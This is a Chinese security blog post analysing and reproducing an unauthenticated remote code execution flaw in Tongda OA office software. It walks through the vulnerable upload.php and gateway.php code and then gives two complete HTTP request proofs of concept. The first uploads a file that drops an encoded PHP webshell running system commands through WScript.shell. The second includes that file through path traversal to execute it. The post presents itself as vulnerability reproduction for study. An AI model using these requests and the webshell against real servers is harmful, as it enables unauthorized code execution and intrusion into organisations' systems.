User-Profile-Image
hankin
  • 5
请到[后台->外观->菜单]中设置菜单。
  • 分类
    • 靶机渗透
    • 计算机小技巧
    • 未分类
    • 数据结构
    • 内网渗透
    • 代码审计
    • XSS
    • WEB安全漏洞学习
    • Web
    • python
    • PHP
    • NodeJS
    • MYSQL
    • Misc
    • JavaScript
    • Docker
    • CTF相关知识点
    • CTFWP
    • Crypto
    • Cobalt Strike
  • 页面
  • 友链
    • 三哥的博客
    • Root师傅的博客
    • EDS师傅的博客
    • 天正哥的博客
    • 天尘翼师傅的博客
    • 熵增师傅的github
    • 信仰的博客
    • Jadore的博客
Help?

Please contact us on our email for need any support

Support
    首页   ›   WEB安全漏洞学习   ›   正文
WEB安全漏洞学习

通达OA RCE分析及复现

2020-03-24 21:56:27
46  0 0

Contents

  • 1 ▶漏洞描述
  • 2 ▶漏洞影响版本
  • 3 ▶ 漏洞分析与复现
  • 4 任意文件上传
  • 5 文件包含

▶漏洞描述

通达OA是北京通达信科科技有限公司出品的 “Office Anywhere 通达网络智能办公系统”。

3月13日,通达OA在官方论坛发布通告称,近日接到用户反馈遭到勒索病毒攻击,提示用户注意安全风险,并且于同一天对所有版本发布了加固补丁。

在受影响的版本中,攻击者可以在未认证的情况下向服务器上传jpg图片文件,然后包含该文件,造成远程代码执行。该漏洞无需登录即可触发。

▶漏洞影响版本

  • V11版
  • 2017版
  • 2016版
  • 2015版
  • 2013增强版
  • 2013版

▶ 漏洞分析与复现

任意文件上传

在厂商补丁的其他版本中出现了ispirit/im/upload.php这个路径,跟进来一看实际上是一个很明显的文件上传漏洞,而且是未授权的文件上传,分段来看一下代码。

先看未授权部分,P不为空的情况下,包含inc/session.php,并且通过 session_id 注册 session ,P可通过 POST[‘P’] ,因此不多赘述。

$P = $_POST["P"];
if (isset($P) || ($P != "")) {
	ob_start();
	include_once "inc/session.php";
	session_id($P);
	session_start();
	session_write_close();
}

再看下面这一小段,假设 DEST_UID 为空的情况下,会直接返回接收方ID无效相关信息,并且退出,因此这里的处理方式也很简单, DEST_UID 可通过 POST[“DEST_UID”] 搞定,这里也不多赘述了。

$DEST_UID = $_POST["DEST_UID"];
$dataBack = array();
if (($DEST_UID != "") && !td_verify_ids($ids)) {
	$dataBack = array("status" => 0, "content" => "-ERR " . _("接收方ID无效"));
	echo json_encode(data2utf8($dataBack));
	exit();
}

再往下走,当$_FILES全局变量大于等于1的时候,简单理解就是有文件上传的时候,会调用 upload 函数进行处理,这里的文件上传的 name 为name="ATTACHMENT"

if (1 <= count($_FILES)) {
	if ($UPLOAD_MODE == "1") {
		if (strlen(urldecode($_FILES["ATTACHMENT"]["name"])) != strlen($_FILES["ATTACHMENT"]["name"])) {
			$_FILES["ATTACHMENT"]["name"] = urldecode($_FILES["ATTACHMENT"]["name"]);
		}
	}

	$ATTACHMENTS = upload("ATTACHMENT", $MODULE, false);

跟进 upload 方法,可以很明显看到 is_uploadable 这个方法针对上传的文件名进行判断。

function upload($PREFIX, $MODULE, $OUTPUT)
{
	if (strstr($MODULE, "/") || strstr($MODULE, "\\")) {
		if (!$OUTPUT) {
			return _("参数含有非法字符。");
		}

		Message(_("错误"), _("参数含有非法字符。"));
		exit();
	}
  ...
		if ($ATTACH_ERROR == UPLOAD_ERR_OK) {
			if (!is_uploadable($ATTACH_NAME)) {
				$ERROR_DESC = sprintf(_("禁止上传后缀名为[%s]的文件"), substr($ATTACH_NAME, strrpos($ATTACH_NAME, ".") + 1));
			}

很明显存在一个后缀名非法的判断,所以这点并不能直接上传PHP文件。

function is_uploadable($FILE_NAME)
{
	$POS = strrpos($FILE_NAME, ".");

	if ($POS === false) {
		$EXT_NAME = $FILE_NAME;
	}
	else {
		if (strtolower(substr($FILE_NAME, $POS + 1, 3)) == "php") {
			return false;
		}

继续往下走,因为上传不回显的话,搞定了也没啥用,还得猜文件名麻烦,找到了一个回显的地方。

if ($UPLOAD_MODE == "1") {
... if ($MSG_CATE == "file") {
$CONTENT = "[fm]" . $ATTACHMENT_ID . "|" . $ATTACHMENT_NAME . "|" . $FILE_SIZE . "[/fm]";
} else if ($MSG_CATE == "image") {
$CONTENT = "[im]" . $ATTACHMENT_ID . "|" . $ATTACHMENT_NAME . "|" . $FILE_SIZE . "[/im]";
} else {
$DURATION = intval($DURATION);
$CONTENT = "[vm]" . $ATTACHMENT_ID . "|" . $ATTACHMENT_NAME . "|" . $DURATION . "[/vm]";
}
...
$dataBack = array("status" => 1, "content" => $CONTENT, "file_id" => $FILE_ID); echo json_encode(data2utf8($dataBack));

​手动验证构造文件上传poc

POST /ispirit/im/upload.php HTTP/1.1
Host: 目标IP
User-Agent: python-requests/2.22.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Length: 925
Content-Type: multipart/form-data; boundary=e59b4539bd28a1b69eb29cc9fa61fbc1

--e59b4539bd28a1b69eb29cc9fa61fbc1
Content-Disposition: form-data; name="P"

123
--e59b4539bd28a1b69eb29cc9fa61fbc1
Content-Disposition: form-data; name="DEST_UID"

1
--e59b4539bd28a1b69eb29cc9fa61fbc1
Content-Disposition: form-data; name="UPLOAD_MODE"

2
--e59b4539bd28a1b69eb29cc9fa61fbc1
Content-Disposition: form-data; name="ATTACHMENT"; filename="1.txt"

<?php
$fp = fopen('readme.php', 'w');
$a = base64_decode("JTNDJTNGcGhwJTBBJTI0Y29tbWFuZCUzRCUyMndob2FtaSUyMiUzQiUwQSUyNHdzaCUyMCUzRCUyMG5ldyUyMENPTSUyOCUyN1dTY3JpcHQuc2hlbGwlMjclMjklM0IlMEElMjRleGVjJTIwJTNEJTIwJTI0d3NoLSUzRWV4ZWMlMjglMjJjbWQlMjAvYyUyMCUyMi4lMjRjb21tYW5kJTI5JTNCJTBBJTI0c3Rkb3V0JTIwJTNEJTIwJTI0ZXhlYy0lM0VTdGRPdXQlMjglMjklM0IlMEElMjRzdHJvdXRwdXQlMjAlM0QlMjAlMjRzdGRvdXQtJTNFUmVhZEFsbCUyOCUyOSUzQiUwQWVjaG8lMjAlMjRzdHJvdXRwdXQlM0IlMEElM0YlM0U=");
fwrite($fp, urldecode($a));
fclose($fp);
?>

--e59b4539bd28a1b69eb29cc9fa61fbc1--​

base64加密的内容可以自行构造,这里base64加密的原文是

<?php
$command=”whoami”;
$wsh = new COM(‘WScript.shell’);
$exec = $wsh->exec(“cmd /c “.$command);
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
?>

发送后会在我们搭建的OA平台的根目录下的/attach/im/2003目录下生成850248632.1.txt,BP中因为后端代码原因将名字改变了。下面构造文件包含的时候注意更改。

文件包含

执行了文件上传要达到RCE的目的,还需要一个文件包含,包含点从补丁上找找,是这个ispirit/interface/gateway.php。

简单分析一下,解析一个循环解析$json,假设$key是 url 的情况下,它的值会丢给$url,之后会调用 include_once 针对这个进行包含了。

if ($json) {
$json = stripcslashes($json);
$json = (array) json_decode($json); foreach ($json as $key => $val ) { if ($key == "data") {
$val = (array) $val; foreach ($val as $keys => $value ) {
$keys = $value;
}
} if ($key == "url") {
$url = $val;
}
} if ($url != "") { if (substr($url, 0, 1) == "/") {
$url = substr($url, 1);
} if ((strpos($url, "general/") !== false) || (strpos($url, "ispirit/") !== false) || (strpos($url, "module/") !== false)) { include_once $url;
}
}

​ 所以从代码来看非常的简单,简单提一嘴,这套代码有 disable_function 的限制,需要bypass一下,整个过程非常的简单。

接下来再构造文件包含POC

POST /ispirit/interface/gateway.php HTTP/1.1
Host: 目标IP
User-Agent: python-requests/2.22.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Length: 61
Content-Type: application/x-www-form-urlencoded

json={"url":"/general/../../attach/im/2003\/850248632.1.txt"}

​运行完成后会在interface文件下生成一个readme.txt,访问即可看到我们之前base64构造的“whoami”命令执行结果。

本文章仅作漏洞复现。

文章参考:https://forum.90sec.com/t/topic/883

评论 (0)

点击这里取消回复。

欢迎您 游客  

近期文章
  • SUCTF 2019 Guess_game
  • Python pickle反序列化
  • [安洵杯 2019]easy_serialize_php
  • Session反序列化
  • 原生类序列化
近期评论
    文章归档
    • 2021年1月
    • 2020年12月
    • 2020年11月
    • 2020年9月
    • 2020年7月
    • 2020年6月
    • 2020年5月
    • 2020年4月
    • 2020年3月
    • 2020年2月
    • 2020年1月
    分类目录
    • Cobalt Strike
    • Crypto
    • CTFWP
    • CTF相关知识点
    • Docker
    • JavaScript
    • Misc
    • MYSQL
    • NodeJS
    • PHP
    • python
    • Web
    • WEB安全漏洞学习
    • XSS
    • 代码审计
    • 内网渗透
    • 数据结构
    • 未分类
    • 计算机小技巧
    • 靶机渗透
    功能
    • 登录
    • 项目feed
    • 评论feed
    • WordPress.org
    分类目录
    Copyright © 2021 网站备案号: 蒙ICP备20000552号-1
    smarty_hankin 主题. Designed by hankin
    主页
    页面
    博主
    purplet 管理员
    努力并有所方向
    157 文章 0 评论 21257 浏览
    测试
    测试